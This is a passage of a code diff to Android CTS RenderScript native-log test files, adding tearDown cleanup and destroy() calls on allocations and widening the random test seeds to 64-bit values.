             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeLogHalf4Half4(inV, out);
             verifyResultsNativeLogHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLogHalf4Half4(inV, out);
             verifyResultsNativeLogHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLogHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLogHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10.java
index 0854f26..ec44288 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog10.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeLog10Relaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeLog10FloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x83219dl, 10e-10, 10e10);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4a5d84f60083219dl, 10e-10, 10e10);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeLog10FloatFloat(inV, out);
             verifyResultsNativeLog10FloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10FloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog10FloatFloat(inV, out);
             verifyResultsNativeLog10FloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10FloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog10FloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeLog10Float2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x779807d9l, 10e-10, 10e10);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x1d500a10779807d9l, 10e-10, 10e10);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeLog10Float2Float2(inV, out);
             verifyResultsNativeLog10Float2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10Float2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog10Float2Float2(inV, out);
             verifyResultsNativeLog10Float2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog10Float2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeLog10Float3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x6db328b7l, 10e-10, 10e10);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x1d51d32b6db328b7l, 10e-10, 10e10);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeLog10Float3Float3(inV, out);
             verifyResultsNativeLog10Float3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10Float3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog10Float3Float3(inV, out);
             verifyResultsNativeLog10Float3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog10Float3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeLog10Float4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x63ce4995l, 10e-10, 10e10);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x1d539c4663ce4995l, 10e-10, 10e10);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeLog10Float4Float4(inV, out);
             verifyResultsNativeLog10Float4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10Float4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog10Float4Float4(inV, out);
             verifyResultsNativeLog10Float4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog10Float4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeLog10HalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x9960016fl, 10e-5, 65504);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd32674029960016fl, 10e-5, 65504);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeLog10HalfHalf(inV, out);
             verifyResultsNativeLog10HalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10HalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog10HalfHalf(inV, out);
             verifyResultsNativeLog10HalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10HalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog10HalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeLog10Half2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x6da168d9l, 10e-5, 65504);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x10baf6a96da168d9l, 10e-5, 65504);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeLog10Half2Half2(inV, out);
             verifyResultsNativeLog10Half2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10Half2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog10Half2Half2(inV, out);
             verifyResultsNativeLog10Half2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10Half2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog10Half2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeLog10Half3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xcca92dcdl, 10e-5, 65504);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x10bb014acca92dcdl, 10e-5, 65504);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeLog10Half3Half3(inV, out);
             verifyResultsNativeLog10Half3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10Half3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog10Half3Half3(inV, out);
             verifyResultsNativeLog10Half3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10Half3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog10Half3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeLog10Half4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x2bb0f2c1l, 10e-5, 65504);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x10bb0bec2bb0f2c1l, 10e-5, 65504);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeLog10Half4Half4(inV, out);
             verifyResultsNativeLog10Half4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10Half4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog10Half4Half4(inV, out);
             verifyResultsNativeLog10Half4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog10Half4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog10Half4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1p.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1p.java
index 4ef9bd1..069f1bc 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1p.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog1p.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeLog1pRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeLog1pFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe656185dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb77ad6f5e656185dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeLog1pFloatFloat(inV, out);
             verifyResultsNativeLog1pFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog1pFloatFloat(inV, out);
             verifyResultsNativeLog1pFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog1pFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeLog1pFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x68503899l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x36154b5368503899l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeLog1pFloat2Float2(inV, out);
             verifyResultsNativeLog1pFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog1pFloat2Float2(inV, out);
             verifyResultsNativeLog1pFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog1pFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeLog1pFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x5e6b5977l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3617146e5e6b5977l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeLog1pFloat3Float3(inV, out);
             verifyResultsNativeLog1pFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog1pFloat3Float3(inV, out);
             verifyResultsNativeLog1pFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog1pFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeLog1pFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x54867a55l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3618dd8954867a55l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeLog1pFloat4Float4(inV, out);
             verifyResultsNativeLog1pFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog1pFloat4Float4(inV, out);
             verifyResultsNativeLog1pFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog1pFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeLog1pHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe4adee2fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc8762e2e4adee2fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeLog1pHalfHalf(inV, out);
             verifyResultsNativeLog1pHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog1pHalfHalf(inV, out);
             verifyResultsNativeLog1pHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog1pHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeLog1pHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x53745f99l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x7dd848a953745f99l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeLog1pHalf2Half2(inV, out);
             verifyResultsNativeLog1pHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog1pHalf2Half2(inV, out);
             verifyResultsNativeLog1pHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog1pHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkNativeLog1pHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xb27c248dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7dd8534ab27c248dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testNativeLog1pHalf3Half3(inV, out);
             verifyResultsNativeLog1pHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog1pHalf3Half3(inV, out);
             verifyResultsNativeLog1pHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog1pHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkNativeLog1pHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x1183e981l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7dd85dec1183e981l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testNativeLog1pHalf4Half4(inV, out);
             verifyResultsNativeLog1pHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog1pHalf4Half4(inV, out);
             verifyResultsNativeLog1pHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog1pHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog1pHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2.java
index 111150b..61870d9 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeLog2.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeLog2Relaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeLog2FloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x54fade20l, 10e-10, 10e10);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x19b11c9c54fade20l, 10e-10, 10e10);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNativeLog2FloatFloat(inV, out);
             verifyResultsNativeLog2FloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2FloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog2FloatFloat(inV, out);
             verifyResultsNativeLog2FloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2FloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog2FloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkNativeLog2Float2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x8c689604l, 10e-10, 10e10);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x90125a688c689604l, 10e-10, 10e10);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testNativeLog2Float2Float2(inV, out);
             verifyResultsNativeLog2Float2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2Float2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog2Float2Float2(inV, out);
             verifyResultsNativeLog2Float2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog2Float2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkNativeLog2Float3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x8283b6e2l, 10e-10, 10e10);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x901423838283b6e2l, 10e-10, 10e10);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testNativeLog2Float3Float3(inV, out);
             verifyResultsNativeLog2Float3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2Float3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog2Float3Float3(inV, out);
             verifyResultsNativeLog2Float3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog2Float3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkNativeLog2Float4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x789ed7c0l, 10e-10, 10e10);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x9015ec9e789ed7c0l, 10e-10, 10e10);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testNativeLog2Float4Float4(inV, out);
             verifyResultsNativeLog2Float4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2Float4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog2Float4Float4(inV, out);
             verifyResultsNativeLog2Float4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog2Float4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkNativeLog2HalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb6e9470al, 10e-5, 65504);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x8a4c285bb6e9470al, 10e-5, 65504);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNativeLog2HalfHalf(inV, out);
             verifyResultsNativeLog2HalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2HalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNativeLog2HalfHalf(inV, out);
             verifyResultsNativeLog2HalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNativeLog2HalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNativeLog2HalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkNativeLog2Half2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xc219255cl, 10e-5, 65504);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xe00e8e4fc219255cl, 10e-5, 65504);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testNativeLog2Half2Half2(inV, out);
             verifyResultsNativeLog2Half2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
